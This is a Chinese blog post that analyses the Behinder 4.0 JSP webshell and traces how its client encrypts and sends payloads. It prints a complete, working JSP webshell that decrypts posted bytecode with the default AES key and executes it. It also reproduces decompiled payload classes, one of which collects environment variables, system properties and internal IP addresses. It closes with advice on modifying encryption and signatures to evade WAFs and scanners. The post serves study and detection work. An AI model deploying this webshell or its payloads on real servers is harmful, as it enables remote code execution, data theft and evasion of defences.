冰蝎4.0jsp木马浅析

2023-11-22 14:40:50 浏览数 (2)

前言

这里简单学习一下冰蝎是怎么运行的,如何通过加密解密来绕过一些常见的waf设备

工作流程

  1. 冰蝎准备一个经过加密的字节码,放入请求体中
  2. 服务端通过jsp中的密钥解密,然后调用equals方法,来获取此次执行的结果
  3. 将获取到的结果通过设置的密钥加密,返回给客户端
  4. 客户端通过密钥解密

由此可以知道密钥在流程中非常的重要,冰蝎的默认的密码为rebeyond,其加密之后得到的前16位密钥为e45e329feb5d925b

通过以下代码可以获取

代码语言:javascript复制
import org.springframework.util.DigestUtils;
import java.security.NoSuchAlgorithmException;

public class GenerateKey {

    public static void main(String[] args) throws NoSuchAlgorithmException {
        String key = "rebeyond";
        System.out.println(getMd5Key(key).substring(0, 16));
    }

    public static String getMd5Key(String key){
        String md5Key = DigestUtils.md5DigestAsHex(key.getBytes());
        return md5Key;

    }

}

这里使用的jsp木马如下

我这里做了一些便于学习的东西,将冰蝎发送过来的字节码保存成类文件,更直观一点

代码语言:javascript复制
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%@ page import="java.io.FileOutputStream" %>
<%!
    //自定义类加载器
    class U extends ClassLoader{
        U(ClassLoader c){
            super(c);
        }
        public Class g(byte []b)
        {
            //调用父类defineClass方法
            return super.defineClass(b,0,b.length);
        }
    }
%>
<%
    if (request.getMethod().equals("POST")){
        String k="e45e329feb5d925b";
        session.putValue("u",k);
        Cipher c=Cipher.getInstance("AES");
        c.init(2,new SecretKeySpec(k.getBytes(),"AES"));

//        获取客户端数据
        String line = request.getReader().readLine();
//        base64解码客户端数据
        byte[] b = new sun.misc.BASE64Decoder().decodeBuffer(line);
//        AES解密
        byte[] b1 = c.doFinal(b);
//        调用父类defineClass方法,将传入数据还原为Class对象
//这里的路径需要修改成你需要保存的路径
        FileOutputStream fo = new FileOutputStream("D:\Java_Study_Thingsobj2.class");
        fo.write(b1);
        U u = new U(this.getClass().getClassLoader());
        Class clazz = u.g(b1);
//        实例化对象将输出写入pageContext
//        客户端传入的字节码指向的类中重写了equals方法传入pageContext对象,通过pageContext对象
//        可以间接操作response,将执行结果写入response返回给客户端
        clazz.newInstance().equals(pageContext);
//        new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
    }
%>

这个jsp的木马也比较好理解,将密钥作为标识符设置到session中,然后判断是否为POST请求,如果是的话先获取客户端的请求体数据,然后先解码base64,然后解密获取class字节码数据,调用方法g来实例化对象,然后调用equals

代码分析

当点击shell列表中的shell时,会触发一系列的方法,这里涉及到javafx的东西,不在文章中简述

从doConnect开始跟进

Utils.getRandomString(randStringLength)是用来构造一段特殊的字符串,后续会有使用

进入echo,带入生成的字符串

进入Utils.getData

进入Params.getParamedClass

getTransProtocoledClass

在之前传入的Echo,在这里组合成net.rebeyond.behinder.payload.java.Echo,就是冰蝎在第一次运行的时候需要请求信息,那么每次发送的payload都需要编译的话速度会非常慢,所以作者使用操作字节码的方式来发送payload

  1. 首先获取Echo的CtClass对象
  2. 修改类名
  3. 移除Encrypt方法
  4. 创建Encrypt方法

返回Echo的字节码

然后进入到getParamedClass方法中

在这里使用了做了以下的操作:

  1. 修改类名,随机命名
  2. 使用观察者模式来操作字节码,遇到其实就是无参构造方法的时候,进行操作,具体是啥这里先不解释

回到Utils,进入cryptor.encrypt

this.getEncodeCls();

这个方法,创建了一个名为test的类,类中包含默认的加密方法,以便于下面的字节码操作

通过反射获取Encrypt方法,利用这个方法加密前面获取Echo类的字节码

回到ShellService类

下面就是把加密的字节码发送到服务器去解析了

进入doRequestAndParse

一直跟进

前面就是在添加header头,然后发送数据包

然后看服务器上

代码语言:javascript复制
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package net.ozfvwj.qjxyz;

import java.lang.reflect.Method;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.Map;
import java.util.Random;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

public class Vlfq {
    public static String content;
    public static String payloadBody;
    private Object Request;
    private Object Response;
    private Object Session;

    public Vlfq() {
        content = "";
        content = content   "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";
        super();
    }

    public boolean equals(Object obj) {
        LinkedHashMap result = new LinkedHashMap();
        boolean var13 = false;

        Object so;
        Method write;
        label95: {
            try {
                var13 = true;
                this.fillContext(obj);
                result.put("status", "success");
                result.put("msg", content);
                var13 = false;
                break label95;
            } catch (Exception var19) {
                result.put("msg", var19.getMessage());
                result.put("status", "success");
                var13 = false;
            } finally {
                if (var13) {
                    try {
                        so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
                        write = so.getClass().getMethod("write", byte[].class);
                        System.out.println("this.buildJson(result, true) "   this.buildJson(result, true));
                        write.invoke(so, this.Encrypt(this.buildJson(result, false).getBytes("UTF-8")));
                        so.getClass().getMethod("flush").invoke(so);
                        so.getClass().getMethod("close").invoke(so);
                    } catch (Exception var16) {
                        var16.printStackTrace();
                    }
                }

            }

            try {
                so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
                write = so.getClass().getMethod("write", byte[].class);
                System.out.println("this.buildJson(result, true)2 "   this.buildJson(result, true));
                write.invoke(so, this.Encrypt(this.buildJson(result, false).getBytes("UTF-8")));
                so.getClass().getMethod("flush").invoke(so);
                so.getClass().getMethod("close").invoke(so);
            } catch (Exception var17) {
                var17.printStackTrace();
            }

            return true;
        }

        try {
            so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
            write = so.getClass().getMethod("write", byte[].class);
            write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
            so.getClass().getMethod("flush").invoke(so);
            so.getClass().getMethod("close").invoke(so);
        } catch (Exception var18) {
            var18.printStackTrace();
        }

        return true;
    }

    private String buildJson(Map entity, boolean encode) throws Exception {
        StringBuilder sb = new StringBuilder();
        String version = System.getProperty("java.version");
        sb.append("{");
        Iterator var5 = entity.keySet().iterator();

        while(var5.hasNext()) {
            String key = (String)var5.next();
            sb.append("""   key   "":"");
            String value = (String)entity.get(key);
            if (encode) {
                value = this.base64encode(value.getBytes());
            }

            sb.append(value);
            sb.append("",");
        }

        if (sb.toString().endsWith(",")) {
            sb.setLength(sb.length() - 1);
        }

        sb.append("}");
        return sb.toString();
    }

    private void fillContext(Object obj) throws Exception {
        if (obj.getClass().getName().indexOf("PageContext") >= 0) {
            this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
            this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
            this.Session = obj.getClass().getMethod("getSession").invoke(obj);
        } else {
            Map objMap = (Map)obj;
            this.Session = objMap.get("session");
            this.Response = objMap.get("response");
            this.Request = objMap.get("request");
        }

        this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
    }

    private String base64encode(byte[] data) throws Exception {
        String result = "";
        String version = System.getProperty("java.version");

        Class Base64;
        try {
            this.getClass();
            Base64 = Class.forName("java.util.Base64");
            Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
            result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
        } catch (Throwable var7) {
            this.getClass();
            Base64 = Class.forName("sun.misc.BASE64Encoder");
            Object Encoder = Base64.newInstance();
            result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data);
            result = result.replace("n", "").replace("r", "");
        }

        return result;
    }

    private byte[] getMagic() throws Exception {
        String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
        int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
        Random random = new Random();
        byte[] buf = new byte[magicNum];

        for(int i = 0; i < buf.length;   i) {
            buf[i] = (byte)random.nextInt(256);
        }

        return buf;
    }

    private byte[] Encrypt(byte[] var1) throws Exception {
        String var2 = "e45e329feb5d925b";
        byte[] var3 = var2.getBytes("utf-8");
        SecretKeySpec var4 = new SecretKeySpec(var3, "AES");
        Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding");
        var5.init(1, var4);
        byte[] var6 = var5.doFinal(var1);

        Class var7;
        try {
            var7 = Class.forName("java.util.Base64");
            Object var8 = var7.getMethod("getEncoder", (Class[])null).invoke(var7, (Object[])null);
            var6 = (byte[])var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6);
        } catch (Throwable var12) {
            var7 = Class.forName("sun.misc.BASE64Encoder");
            Object var10 = var7.newInstance();
            String var11 = (String)var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6);
            var11 = var11.replace("n", "").replace("r", "");
            var6 = var11.getBytes();
        }

        return var6;
    }
}

在服务器端的jsp木马调用的equals方法,来具体看看这一步做了什么

  1. 调用fillContext方法,来初始化request和response以及一些后续需要用到的参数,这就是为啥会选择equals的方法了,传入的obj对象里面都包含需要用到的对象
  2. 获取response的write输出流,然后获取服务器的java版本,似乎没有用到这个版本信息,然后对result进行json处理
  3. 通过默认的e45e329feb5d925b作为aes的加密key来加密保存了信息的map
  4. 然后在对aes加密的内容做一个base64的编码

解码之后

发现这和发送的二进制流类字节码的代码中的content参数一致

然后我们发现在二进制流类中的构造方法

其实就对应了getParamedClass方法中对构造方法的操作

然后回到本地

这里就在处理一些服务器返回的信息,将response的headers赋值到resheaders中,然后进行迭代

将body里面的加密内容和data做一个map赋值到result中,服务器返回的数据里面是没有data这个东西的,这里需要注意一下,然后将返回的状态码和status以及返回包头和header做map处理,最后将result赋值给var22,返回var22

然后回到requestAndParse

取出data信息,就是返回包中的body信息,赋值到resultObj中,返回resultObj

回到shellService

取出header,然后手动创建一个status和msg的json字符串,为了后面与接受的比较,后续就是在做一个解密的操作了

回到doConnect方法

进行判断,返回的msg字符串是否和本地生成的一样

回到MainWindowController,在这里继续生成随机长度的字符串

然后继续进入getBasicInfo

进入parseCommonAction,在这里使用了BasicInfo这个类

进入getData

发现和上一步的类似,也是返回对应类的class字节码,对其加密,就不继续分析了,直接快进到doRequestAndParse发送请求

服务器接受到的类

代码语言:javascript复制
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package sun.wspc;

import java.io.File;
import java.lang.reflect.Method;
import java.net.Inet4Address;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.Properties;
import java.util.Random;
import java.util.Set;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

public class Vmwqtmzls {
    public static String whatever;
    private Object Request;
    private Object Response;
    private Object Session;

    public Vmwqtmzls() {
        whatever = "";
        whatever = whatever   "ZsnyxT8sz3FMo5E8XM4RfHFzLq39XYdmZX5WDW7zgQ5fLqUi95uMmfs4TabnTXnDZvbgCfb5dciOhQq13Dy5iGrDyVmY2SN2Yjo2MWzobJYAizHufR0sYn8eyYNSxpb13kL0oMw76OitnJysDHVIVuRuCtWhFa8MIhWGcU36piB9YIB5nqg2VXLmIYi6lUmK90MxtdL3ZShmXLyJjFNgMRyZ6SQ6kddwyYM5WK7RAbRzXkYsT017hB5nAXyACWWkHgIUexmoKlcjNBbj1qEIyj2MqNB2KCa";
        super();
    }

    public boolean equals(Object obj) {
        HashMap result = new HashMap();
        boolean var22 = false;

        Object so;
        Method write;
        label147: {
            try {
                var22 = true;
                this.fillContext(obj);
                StringBuilder basicInfo = new StringBuilder("<br/><font size=2 color=red>环境变量:</font><br/>");
                Map env = System.getenv();
                Iterator var5 = env.keySet().iterator();

                while(var5.hasNext()) {
                    String name = (String)var5.next();
                    basicInfo.append(name   "="   (String)env.get(name)   "<br/>");
                }

                basicInfo.append("<br/><font size=2 color=red>JRE系统属性:</font><br/>");
                Properties props = System.getProperties();
                Set entrySet = props.entrySet();
                Iterator var7 = entrySet.iterator();

                while(var7.hasNext()) {
                    Map.Entry entry = (Map.Entry)var7.next();
                    basicInfo.append(entry.getKey()   " = "   entry.getValue()   "<br/>");
                }

                String currentPath = (new File("")).getAbsolutePath();
                String driveList = "";
                File[] roots = File.listRoots();
                File[] var10 = roots;
                int var11 = roots.length;

                for(int var12 = 0; var12 < var11;   var12) {
                    File f = var10[var12];
                    driveList = driveList   f.getPath()   ";";
                }

                String osInfo = System.getProperty("os.name")   System.getProperty("os.version")   System.getProperty("os.arch");
                Map entity = new HashMap();
                entity.put("basicInfo", basicInfo.toString());
                entity.put("currentPath", currentPath);
                entity.put("driveList", driveList);
                entity.put("osInfo", osInfo);
                entity.put("arch", System.getProperty("os.arch"));
                entity.put("localIp", this.getInnerIp());
                result.put("status", "success");
                result.put("msg", this.buildJson(entity, true));
                var22 = false;
                break label147;
            } catch (Exception var32) {
                var22 = false;
            } finally {
                if (var22) {
                    try {
                        so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
                        write = so.getClass().getMethod("write", byte[].class);
                        write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
                        so.getClass().getMethod("flush").invoke(so);
                        so.getClass().getMethod("close").invoke(so);
                    } catch (Exception var30) {
                    }
                }

            }

            try {
                so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
                write = so.getClass().getMethod("write", byte[].class);
                write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
                so.getClass().getMethod("flush").invoke(so);
                so.getClass().getMethod("close").invoke(so);
            } catch (Exception var29) {
            }

            return true;
        }

        try {
            so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
            write = so.getClass().getMethod("write", byte[].class);
            write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
            so.getClass().getMethod("flush").invoke(so);
            so.getClass().getMethod("close").invoke(so);
        } catch (Exception var31) {
        }

        return true;
    }

    private String getInnerIp() {
        String ips = "";

        try {
            Enumeration netInterfaces = NetworkInterface.getNetworkInterfaces();
            InetAddress ip = null;

            while(netInterfaces.hasMoreElements()) {
                NetworkInterface netInterface = (NetworkInterface)netInterfaces.nextElement();
                Enumeration addresses = netInterface.getInetAddresses();

                while(addresses.hasMoreElements()) {
                    ip = (InetAddress)addresses.nextElement();
                    if (ip != null && ip instanceof Inet4Address) {
                        ips = ips   ip.getHostAddress()   " ";
                    }
                }
            }
        } catch (Exception var6) {
        }

        ips = ips.replace("127.0.0.1", "").trim();
        return ips;
    }

    private String buildJson(Map entity, boolean encode) throws Exception {
        StringBuilder sb = new StringBuilder();
        String version = System.getProperty("java.version");
        sb.append("{");
        Iterator var5 = entity.keySet().iterator();

        while(var5.hasNext()) {
            String key = (String)var5.next();
            sb.append("""   key   "":"");
            String value = ((String)entity.get(key)).toString();
            if (encode) {
                Class Base64;
                Object Encoder;
                if (version.compareTo("1.9") >= 0) {
                    this.getClass();
                    Base64 = Class.forName("java.util.Base64");
                    Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
                    value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
                } else {
                    this.getClass();
                    Base64 = Class.forName("sun.misc.BASE64Encoder");
                    Encoder = Base64.newInstance();
                    value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
                    value = value.replace("n", "").replace("r", "");
                }
            }

            sb.append(value);
            sb.append("",");
        }

        sb.setLength(sb.length() - 1);
        sb.append("}");
        return sb.toString();
    }

    private String base64encode(byte[] data) throws Exception {
        String result = "";
        String version = System.getProperty("java.version");

        Class Base64;
        try {
            this.getClass();
            Base64 = Class.forName("java.util.Base64");
            Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
            result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
        } catch (Throwable var7) {
            this.getClass();
            Base64 = Class.forName("sun.misc.BASE64Encoder");
            Object Encoder = Base64.newInstance();
            result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data);
            result = result.replace("n", "").replace("r", "");
        }

        return result;
    }

    private void fillContext(Object obj) throws Exception {
        if (obj.getClass().getName().indexOf("PageContext") >= 0) {
            this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
            this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
            this.Session = obj.getClass().getMethod("getSession").invoke(obj);
        } else {
            Map objMap = (Map)obj;
            this.Session = objMap.get("session");
            this.Response = objMap.get("response");
            this.Request = objMap.get("request");
        }

        this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
    }

    private byte[] getMagic() throws Exception {
        String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
        int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
        Random random = new Random();
        byte[] buf = new byte[magicNum];

        for(int i = 0; i < buf.length;   i) {
            buf[i] = (byte)random.nextInt(256);
        }

        return buf;
    }

    private byte[] Encrypt(byte[] var1) throws Exception {
        String var2 = "e45e329feb5d925b";
        byte[] var3 = var2.getBytes("utf-8");
        SecretKeySpec var4 = new SecretKeySpec(var3, "AES");
        Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding");
        var5.init(1, var4);
        byte[] var6 = var5.doFinal(var1);

        Class var7;
        try {
            var7 = Class.forName("java.util.Base64");
            Object var8 = var7.getMethod("getEncoder", (Class[])null).invoke(var7, (Object[])null);
            var6 = (byte[])var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6);
        } catch (Throwable var12) {
            var7 = Class.forName("sun.misc.BASE64Encoder");
            Object var10 = var7.newInstance();
            String var11 = (String)var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6);
            var11 = var11.replace("n", "").replace("r", "");
            var6 = var11.getBytes();
        }

        return var6;
    }
}

可以看见这里获取了环境变量以及jar系统信息

在这里也是同样的,处理返回的信息

这里不一样的地方就是在于返回的basicInfoObj对象,需要设置到gui窗口中

总结

在看完了冰蝎是怎么连接之后,对于冰蝎的工作原理也有了一定的理解,本地和服务器端都做加密和解密的操作,以此来绕过流量检测设备以及一些waf,而且通过动态的加载class字节码,也可以绕过一些普通的webshell查杀设备,后续的一些绕过,可以在加密方式以及特征值的修改上入手

参考链接

  • https://mp.weixin.qq.com/s/EwY8if6ed_hZ3nQBiC3o7A
  • https://github.com/rebeyond/Behinder
  • https://github.com/MountCloud/BehinderClientSource

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